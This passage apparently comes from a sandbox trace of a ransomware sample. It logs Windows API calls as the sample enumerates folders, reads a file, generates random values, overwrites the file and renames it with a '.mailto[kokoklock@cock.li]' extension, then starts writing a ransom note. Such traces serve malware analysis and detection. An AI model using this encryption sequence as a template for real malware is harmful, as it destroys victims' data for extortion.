Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" [0077.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347bf98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d8 [0077.637] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="VdiState.xml", cAlternateFileName="")) returned 1 [0077.637] wcscmp (_String1="VdiState.xml", _String2=".") returned 1 [0077.637] wcscmp (_String1="VdiState.xml", _String2="..") returned 1 [0077.637] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7a) returned 0x347f0a0 [0077.637] wcscpy (in: _Dest=0x347f0a0, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0077.637] wcscat (in: _Dest=0x347f0a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0077.637] wcscat (in: _Dest=0x347f0a0, _Source="VdiState.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" [0077.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347f0a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x878 [0077.637] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="VdiState.xml", cAlternateFileName="")) returned 0 [0077.638] FindClose (in: hFindFile=0x34343e8 | out: hFindFile=0x34343e8) returned 1 [0077.638] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f3eb0) returned 1 [0077.638] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e0a0) returned 1 [0077.638] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426df8) returned 1 [0077.638] RtlExitUserThread (Status=0x0) Thread: id = 751 os_tid = 0x1208 [0075.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347ffa0 [0075.372] wcscpy (in: _Dest=0x347ffa0, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts" [0075.372] wcscat (in: _Dest=0x347ffa0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts\\" [0075.372] wcscat (in: _Dest=0x347ffa0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts\\*") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts\\*" [0075.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4118 [0075.372] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts\\*", lpFindFileData=0x33f4118 | out: lpFindFileData=0x33f4118*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434428 [0075.373] wcscmp (_String1=".", _String2=".") returned 0 [0075.373] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x33f4118 | out: lpFindFileData=0x33f4118*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.373] wcscmp (_String1="..", _String2=".") returned 1 [0075.373] wcscmp (_String1="..", _String2="..") returned 0 [0075.373] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x33f4118 | out: lpFindFileData=0x33f4118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="RegisterInboxTemplates.ps1", cAlternateFileName="")) returned 1 [0075.373] wcscmp (_String1="RegisterInboxTemplates.ps1", _String2=".") returned 1 [0075.373] wcscmp (_String1="RegisterInboxTemplates.ps1", _String2="..") returned 1 [0075.373] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x33f4118 | out: lpFindFileData=0x33f4118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="RegisterInboxTemplates.ps1", cAlternateFileName="")) returned 0 [0075.373] FindClose (in: hFindFile=0x3434428 | out: hFindFile=0x3434428) returned 1 [0075.373] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4118) returned 1 [0075.373] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ffa0) returned 1 [0075.373] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34801e0) returned 1 [0075.373] RtlExitUserThread (Status=0x0) Thread: id = 752 os_tid = 0x120c [0075.374] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x34271a0 [0075.374] wcscpy (in: _Dest=0x34271a0, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\Templates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates" [0075.374] wcscat (in: _Dest=0x34271a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\" [0075.374] wcscat (in: _Dest=0x34271a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\*") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\*" [0075.374] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4118 [0075.374] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\*", lpFindFileData=0x33f4118 | out: lpFindFileData=0x33f4118*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434428 [0075.375] wcscmp (_String1=".", _String2=".") returned 0 [0075.375] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x33f4118 | out: lpFindFileData=0x33f4118*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.375] wcscmp (_String1="..", _String2=".") returned 1 [0075.375] wcscmp (_String1="..", _String2="..") returned 0 [0075.375] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x33f4118 | out: lpFindFileData=0x33f4118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x25ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate.xsd", cAlternateFileName="")) returned 1 [0075.375] wcscmp (_String1="SettingsLocationTemplate.xsd", _String2=".") returned 1 [0075.375] wcscmp (_String1="SettingsLocationTemplate.xsd", _String2="..") returned 1 [0075.375] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347c7e8 [0075.375] wcscpy (in: _Dest=0x347c7e8, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\Templates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates" [0075.375] wcscat (in: _Dest=0x347c7e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\" [0075.375] wcscat (in: _Dest=0x347c7e8, _Source="SettingsLocationTemplate.xsd" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" [0076.613] Sleep (dwMilliseconds=0x1) [0076.621] Sleep (dwMilliseconds=0x1) [0077.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347c7e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d0 [0077.640] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x33f4118 | out: lpFindFileData=0x33f4118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c20, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate2013.xsd", cAlternateFileName="")) returned 1 [0077.640] wcscmp (_String1="SettingsLocationTemplate2013.xsd", _String2=".") returned 1 [0077.640] wcscmp (_String1="SettingsLocationTemplate2013.xsd", _String2="..") returned 1 [0077.640] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x98) returned 0x33eb4f0 [0077.640] wcscpy (in: _Dest=0x33eb4f0, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\Templates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates" [0077.640] wcscat (in: _Dest=0x33eb4f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\" [0077.640] wcscat (in: _Dest=0x33eb4f0, _Source="SettingsLocationTemplate2013.xsd" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" [0077.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33eb4f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x874 [0077.641] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x33f4118 | out: lpFindFileData=0x33f4118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3724, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate2013A.xsd", cAlternateFileName="")) returned 1 [0077.641] wcscmp (_String1="SettingsLocationTemplate2013A.xsd", _String2=".") returned 1 [0077.641] wcscmp (_String1="SettingsLocationTemplate2013A.xsd", _String2="..") returned 1 [0077.641] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e6e58 [0077.641] wcscpy (in: _Dest=0x33e6e58, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\Templates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates" [0077.641] wcscat (in: _Dest=0x33e6e58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\" [0077.641] wcscat (in: _Dest=0x33e6e58, _Source="SettingsLocationTemplate2013A.xsd" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" [0077.641] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e6e58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870 [0077.642] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x33f4118 | out: lpFindFileData=0x33f4118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3724, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate2013A.xsd", cAlternateFileName="")) returned 0 [0077.642] FindClose (in: hFindFile=0x3434428 | out: hFindFile=0x3434428) returned 1 [0077.642] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4118) returned 1 [0077.642] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34271a0) returned 1 [0077.642] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0077.642] RtlExitUserThread (Status=0x0) Thread: id = 753 os_tid = 0x1210 [0075.376] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageEventsArchive.dat" (normalized: "c:\\users\\all users\\microsoft\\storage health\\storageeventsarchive.dat")) returned 0x20 [0075.376] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageEventsArchive.dat", dwFileAttributes=0x20) returned 1 [0075.376] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageEventsArchive.dat" (normalized: "c:\\users\\all users\\microsoft\\storage health\\storageeventsarchive.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9d4 [0075.377] GetFileSizeEx (in: hFile=0x9d4, lpFileSize=0x1c63fc20 | out: lpFileSize=0x1c63fc20*=5489) returned 1 [0075.377] SetFilePointerEx (in: hFile=0x9d4, liDistanceToMove=0x156d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.377] ReadFile (in: hFile=0x9d4, lpBuffer=0x1c63fbf4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1c63fbf0, lpOverlapped=0x0 | out: lpBuffer=0x1c63fbf4*, lpNumberOfBytesRead=0x1c63fbf0*=0x4, lpOverlapped=0x0) returned 1 [0075.378] SetFilePointerEx (in: hFile=0x9d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.378] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479390 [0075.378] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34793b8 [0075.378] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34793e0 [0075.378] NtQuerySystemTime (in: CurrentTime=0x1c63fbcc | out: CurrentTime=0x1c63fbcc*=132121176332693124) returned 0x0 [0075.378] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0xf3302c35 [0075.378] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0x7db020ee [0075.378] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0x85f0de29 [0075.378] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0xd7d9c694 [0075.378] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0xebc3d362 [0075.378] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0xb8c1c0c3 [0075.378] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0x24c94130 [0075.378] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0xf0e6eac0 [0075.378] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0x2c3a86c2 [0075.378] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0xd593b97e [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0xf04efd5d [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0x2f12c707 [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0xfbfdc6f0 [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0x4e44c09d [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0x953035dd [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0x68ad046c [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0x8069c2d5 [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0x82fa1b2f [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0x2e3730ac [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0x5e7799e0 [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0x1e0d5591 [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0xb6f2f0dd [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0x8af5040f [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0xaa80e0f5 [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0xae5fdc42 [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0x61eda387 [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0x6c5172ed [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0x737a9898 [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0x3d87 [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0x42ca002 [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0x370bc275 [0075.379] RtlRandom (in: Seed=0x1c63fbd8 | out: Seed=0x1c63fbd8) returned 0x605c60c6 [0075.390] ReadFile (in: hFile=0x9d4, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x1571, lpNumberOfBytesRead=0x1c63fbcc, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1c63fbcc*=0x1571, lpOverlapped=0x0) returned 1 [0075.391] SetFilePointerEx (in: hFile=0x9d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1c63fb94 | out: lpNewFilePointer=0x0) returned 1 [0075.391] WriteFile (in: hFile=0x9d4, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x1571, lpNumberOfBytesWritten=0x1c63fbc8, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1c63fbc8*=0x1571, lpOverlapped=0x0) returned 1 [0075.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34795e8 [0075.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34794a8 [0075.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34794a8) returned 1 [0075.391] WriteFile (in: hFile=0x9d4, lpBuffer=0x34795e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c63fbc4, lpOverlapped=0x0 | out: lpBuffer=0x34795e8*, lpNumberOfBytesWritten=0x1c63fbc4*=0x20, lpOverlapped=0x0) returned 1 [0075.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34795e8) returned 1 [0075.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0075.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd940) returned 1 [0075.391] WriteFile (in: hFile=0x9d4, lpBuffer=0x3479480*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1c63fbf0, lpOverlapped=0x0 | out: lpBuffer=0x3479480*, lpNumberOfBytesWritten=0x1c63fbf0*=0x8, lpOverlapped=0x0) returned 1 [0075.391] WriteFile (in: hFile=0x9d4, lpBuffer=0x1c63fc08*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c63fbf0, lpOverlapped=0x0 | out: lpBuffer=0x1c63fc08*, lpNumberOfBytesWritten=0x1c63fbf0*=0x4, lpOverlapped=0x0) returned 1 [0075.391] WriteFile (in: hFile=0x9d4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c63fbf0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1c63fbf0*=0x4, lpOverlapped=0x0) returned 1 [0075.391] WriteFile (in: hFile=0x9d4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1c63fbf0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1c63fbf0*=0x6c, lpOverlapped=0x0) returned 1 [0075.392] WriteFile (in: hFile=0x9d4, lpBuffer=0x34793b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c63fbf0, lpOverlapped=0x0 | out: lpBuffer=0x34793b8*, lpNumberOfBytesWritten=0x1c63fbf0*=0x20, lpOverlapped=0x0) returned 1 [0075.392] WriteFile (in: hFile=0x9d4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c63fbf0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1c63fbf0*=0x4, lpOverlapped=0x0) returned 1 [0075.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34793b8) returned 1 [0075.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479408) returned 1 [0075.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479480) returned 1 [0075.392] CloseHandle (hObject=0x9d4) returned 1 [0075.392] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3476508 [0075.392] wcscpy (in: _Dest=0x3476508, _Source="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageEventsArchive.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageEventsArchive.dat") returned="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageEventsArchive.dat" [0075.392] wcscat (in: _Dest=0x3476508, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageEventsArchive.dat.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageEventsArchive.dat.mailto[kokoklock@cock.li].d0e731" [0075.392] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageEventsArchive.dat" (normalized: "c:\\users\\all users\\microsoft\\storage health\\storageeventsarchive.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageEventsArchive.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\storage health\\storageeventsarchive.dat.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.393] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageEventsArchive.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.393] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476508) returned 1 [0075.393] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageEventsArchive.dat", dwFileAttributes=0x20) returned 0 [0075.393] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347f568 [0075.393] wcscpy (in: _Dest=0x347f568, _Source="C:\\Users\\All Users\\Microsoft\\Storage Health\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health\\") returned="C:\\Users\\All Users\\Microsoft\\Storage Health\\" [0075.393] wcscat (in: _Dest=0x347f568, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Storage Health\\D0E731-Readme.txt" [0075.393] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\storage health\\d0e731-readme.txt")) returned 0xffffffff [0075.394] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage 